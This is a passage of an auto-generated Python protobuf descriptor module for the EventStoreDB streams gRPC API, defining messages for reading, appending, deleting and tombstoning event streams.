\x01(\x04H\x01\x12\x36\n\nany_20_6_0\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x01\x12@\n\x14stream_exists_20_6_0\x18\x05 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x01\x12\x1a\n\x10\x63urrent_revision\x18\x06 \x01(\x04H\x02\x12=\n\x11\x63urrent_no_stream\x18\x07 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x02\x12\x1b\n\x11\x65xpected_revision\x18\x08 \x01(\x04H\x03\x12\x38\n\x0c\x65xpected_any\x18\t \x01(\x0b\x32 .event_store.client.shared.EmptyH\x03\x12\x42\n\x16\x65xpected_stream_exists\x18\n \x01(\x0b\x32 .event_store.client.shared.EmptyH\x03\x12>\n\x12\x65xpected_no_stream\x18\x0b \x01(\x0b\x32 .event_store.client.shared.EmptyH\x03\x42 \n\x1e\x63urrent_revision_option_20_6_0B!\n\x1f\x65xpected_revision_option_20_6_0B\x19\n\x17\x63urrent_revision_optionB\x1a\n\x18\x65xpected_revision_optionB\x08\n\x06result\"\xf2\x02\n\tDeleteReq\x12>\n\x07options\x18\x01 \x01(\x0b\x32-.event_store.client.streams.DeleteReq.Options\x1a\xa4\x02\n\x07Options\x12\x46\n\x11stream_identifier\x18\x01 \x01(\x0b\x32+.event_store.client.shared.StreamIdentifier\x12\x12\n\x08revision\x18\x02 \x01(\x04H\x00\x12\x35\n\tno_stream\x18\x03 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12/\n\x03\x61ny\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12\x39\n\rstream_exists\x18\x05 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x42\x1a\n\x18\x65xpected_stream_revision\"\xdc\x01\n\nDeleteResp\x12\x43\n\x08position\x18\x01 \x01(\x0b\x32/.event_store.client.streams.DeleteResp.PositionH\x00\x12\x37\n\x0bno_position\x18\x02 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x1a=\n\x08Position\x12\x17\n\x0f\x63ommit_position\x18\x01 \x01(\x04\x12\x18\n\x10prepare_position\x18\x02 \x01(\x04\x42\x11\n\x0fposition_option\"\xf8\x02\n\x0cTombstoneReq\x12\x41\n\x07options\x18\x01 \x01(\x0b\x32\x30.event_store.client.streams.TombstoneReq.Options\x1a\xa4\x02\n\x07Options\x12\x46\n\x11stream_identifier\x18\x01 \x01(\x0b\x32+.event_store.client.shared.StreamIdentifier\x12\x12\n\x08revision\x18\x02 \x01(\x04H\x00\x12\x35\n\tno_stream\x18\x03 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12/\n\x03\x61ny\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12\x39\n\rstream_exists\x18\x05 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x42\x1a\n\x18\x65xpected_stream_revision\"\xe2\x01\n\rTombstoneResp\x12\x46\n\x08position\x18\x01 \x01(\x0b\x32\x32.event_store.client.streams.TombstoneResp.PositionH\x00\x12\x37\n\x0bno_position\x18\x02 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x1a=\n\x08Position\x12\x17\n\x0f\x63ommit_position\x18\x01 \x01(\x04\x12\x18\n\x10prepare_position\x18\x02 \x01(\x04\x42\x11\n\x0fposition_option2\xf4\x02\n\x07Streams\x12S\n\x04Read\x12#.event_store.client.streams.ReadReq\x1a$.event_store.client.streams.ReadResp0\x01\x12Y\n\x06\x41ppend\x12%.event_store.client.streams.AppendReq\x1a&.event_store.client.streams.AppendResp(\x01\x12W\n\x06\x44\x65lete\x12%.event_store.client.streams.DeleteReq\x1a&.event_store.client.streams.DeleteResp\x12`\n\tTombstone\x12(.event_store.client.streams.TombstoneReq\x1a).event_store.client.streams.TombstoneRespB\'\n%com.eventstore.dbclient.proto.streamsb\x06proto3'
,
dependencies=[shared__pb2.DESCRIPTOR,])
_READREQ_OPTIONS_READDIRECTION = _descriptor.EnumDescriptor(
name='ReadDirection',
full_name='event_store.client.streams.ReadReq.Options.ReadDirection',
filename=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
values=[
_descriptor.EnumValueDescriptor(
name='Forwards', index=0, number=0,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='Backwards', index=1, number=1,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
],
containing_type=None,
serialized_options=None,
serialized_start=1744,
serialized_end=1788,
)
_sym_db.RegisterEnumDescriptor(_READREQ_OPTIONS_READDIRECTION)
_READREQ_OPTIONS_STREAMOPTIONS = _descriptor.Descriptor(
name='StreamOptions',
full_name='event_store.client.streams.ReadReq.Options.StreamOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.ReadReq.Options.StreamOptions.stream_identifier', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='revision', full_name='event_store.client.streams.ReadReq.Options.StreamOptions.revision', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start', full_name='event_store.client.streams.ReadReq.Options.StreamOptions.start', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='end', full_name='event_store.client.streams.ReadReq.Options.StreamOptions.end', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='revision_option', full_name='event_store.client.streams.ReadReq.Options.StreamOptions.revision_option',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=715,
serialized_end=941,
)
_READREQ_OPTIONS_ALLOPTIONS = _descriptor.Descriptor(
name='AllOptions',
full_name='event_store.client.streams.ReadReq.Options.AllOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='position', full_name='event_store.client.streams.ReadReq.Options.AllOptions.position', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start', full_name='event_store.client.streams.ReadReq.Options.AllOptions.start', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='end', full_name='event_store.client.streams.ReadReq.Options.AllOptions.end', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='all_option', full_name='event_store.client.streams.ReadReq.Options.AllOptions.all_option',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=944,
serialized_end=1144,
)
_READREQ_OPTIONS_SUBSCRIPTIONOPTIONS = _descriptor.Descriptor(
name='SubscriptionOptions',
full_name='event_store.client.streams.ReadReq.Options.SubscriptionOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1146,
serialized_end=1167,
)
_READREQ_OPTIONS_POSITION = _descriptor.Descriptor(
name='Position',
full_name='event_store.client.streams.ReadReq.Options.Position',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.ReadReq.Options.Position.commit_position', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prepare_position', full_name='event_store.client.streams.ReadReq.Options.Position.prepare_position', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1169,
serialized_end=1230,
)
_READREQ_OPTIONS_FILTEROPTIONS_EXPRESSION = _descriptor.Descriptor(
name='Expression',
full_name='event_store.client.streams.ReadReq.Options.FilterOptions.Expression',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='regex', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.Expression.regex', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prefix', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.Expression.prefix', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1545,
serialized_end=1588,
)
_READREQ_OPTIONS_FILTEROPTIONS = _descriptor.Descriptor(
name='FilterOptions',
full_name='event_store.client.streams.ReadReq.Options.FilterOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.stream_identifier', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_type', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.event_type', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='max', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.max', index=2,
number=3, type=13, cpp_type=3, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='count', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.count', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='checkpointIntervalMultiplier', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.checkpointIntervalMultiplier', index=4,
number=5, type=13, cpp_type=3, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_READREQ_OPTIONS_FILTEROPTIONS_EXPRESSION, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='filter', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.filter',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='window', full_name='event_store.client.streams.ReadReq.Options.FilterOptions.window',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=1233,
serialized_end=1608,
)
_READREQ_OPTIONS_UUIDOPTION = _descriptor.Descriptor(
name='UUIDOption',
full_name='event_store.client.streams.ReadReq.Options.UUIDOption',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='structured', full_name='event_store.client.streams.ReadReq.Options.UUIDOption.structured', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='string', full_name='event_store.client.streams.ReadReq.Options.UUIDOption.string', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='content', full_name='event_store.client.streams.ReadReq.Options.UUIDOption.content',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=1611,
serialized_end=1742,
)
_READREQ_OPTIONS = _descriptor.Descriptor(
name='Options',
full_name='event_store.client.streams.ReadReq.Options',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream', full_name='event_store.client.streams.ReadReq.Options.stream', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all', full_name='event_store.client.streams.ReadReq.Options.all', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='read_direction', full_name='event_store.client.streams.ReadReq.Options.read_direction', index=2,
number=3, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='resolve_links', full_name='event_store.client.streams.ReadReq.Options.resolve_links', index=3,
number=4, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='count', full_name='event_store.client.streams.ReadReq.Options.count', index=4,
number=5, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='subscription', full_name='event_store.client.streams.ReadReq.Options.subscription', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='filter', full_name='event_store.client.streams.ReadReq.Options.filter', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_filter', full_name='event_store.client.streams.ReadReq.Options.no_filter', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='uuid_option', full_name='event_store.client.streams.ReadReq.Options.uuid_option', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_READREQ_OPTIONS_STREAMOPTIONS, _READREQ_OPTIONS_ALLOPTIONS, _READREQ_OPTIONS_SUBSCRIPTIONOPTIONS, _READREQ_OPTIONS_POSITION, _READREQ_OPTIONS_FILTEROPTIONS, _READREQ_OPTIONS_UUIDOPTION, ],
enum_types=[
_READREQ_OPTIONS_READDIRECTION,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='stream_option', full_name='event_store.client.streams.ReadReq.Options.stream_option',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='count_option', full_name='event_store.client.streams.ReadReq.Options.count_option',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='filter_option', full_name='event_store.client.streams.ReadReq.Options.filter_option',
index=2, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=134,
serialized_end=1838,
)
_READREQ = _descriptor.Descriptor(
name='ReadReq',
full_name='event_store.client.streams.ReadReq',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='options', full_name='event_store.client.streams.ReadReq.options', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_READREQ_OPTIONS, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=60,
serialized_end=1838,
)
_READRESP_READEVENT_RECORDEDEVENT_METADATAENTRY = _descriptor.Descriptor(
name='MetadataEntry',
full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.MetadataEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.MetadataEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.MetadataEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'8\001',
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2752,
serialized_end=2799,
)
_READRESP_READEVENT_RECORDEDEVENT = _descriptor.Descriptor(
name='RecordedEvent',
full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.id', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.stream_identifier', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_revision', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.stream_revision', index=2,
number=3, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prepare_position', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.prepare_position', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.commit_position', index=4,
number=5, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='metadata', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.metadata', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='custom_metadata', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.custom_metadata', index=6,
number=7, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data', full_name='event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.data', index=7,
number=8, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_READRESP_READEVENT_RECORDEDEVENT_METADATAENTRY, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2409,
serialized_end=2799,
)
_READRESP_READEVENT = _descriptor.Descriptor(
name='ReadEvent',
full_name='event_store.client.streams.ReadResp.ReadEvent',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='event', full_name='event_store.client.streams.ReadResp.ReadEvent.event', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='link', full_name='event_store.client.streams.ReadResp.ReadEvent.link', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.ReadResp.ReadEvent.commit_position', index=2,
number=3, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_position', full_name='event_store.client.streams.ReadResp.ReadEvent.no_position', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_READRESP_READEVENT_RECORDEDEVENT, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='position', full_name='event_store.client.streams.ReadResp.ReadEvent.position',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=2158,
serialized_end=2811,
)
_READRESP_SUBSCRIPTIONCONFIRMATION = _descriptor.Descriptor(
name='SubscriptionConfirmation',
full_name='event_store.client.streams.ReadResp.SubscriptionConfirmation',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='subscription_id', full_name='event_store.client.streams.ReadResp.SubscriptionConfirmation.subscription_id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2813,
serialized_end=2864,
)
_READRESP_CHECKPOINT = _descriptor.Descriptor(
name='Checkpoint',
full_name='event_store.client.streams.ReadResp.Checkpoint',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.ReadResp.Checkpoint.commit_position', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prepare_position', full_name='event_store.client.streams.ReadResp.Checkpoint.prepare_position', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2866,
serialized_end=2929,
)
_READRESP_STREAMNOTFOUND = _descriptor.Descriptor(
name='StreamNotFound',
full_name='event_store.client.streams.ReadResp.StreamNotFound',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.ReadResp.StreamNotFound.stream_identifier', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2931,
serialized_end=3019,
)
_READRESP = _descriptor.Descriptor(
name='ReadResp',
full_name='event_store.client.streams.ReadResp',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='event', full_name='event_store.client.streams.ReadResp.event', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='confirmation', full_name='event_store.client.streams.ReadResp.confirmation', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
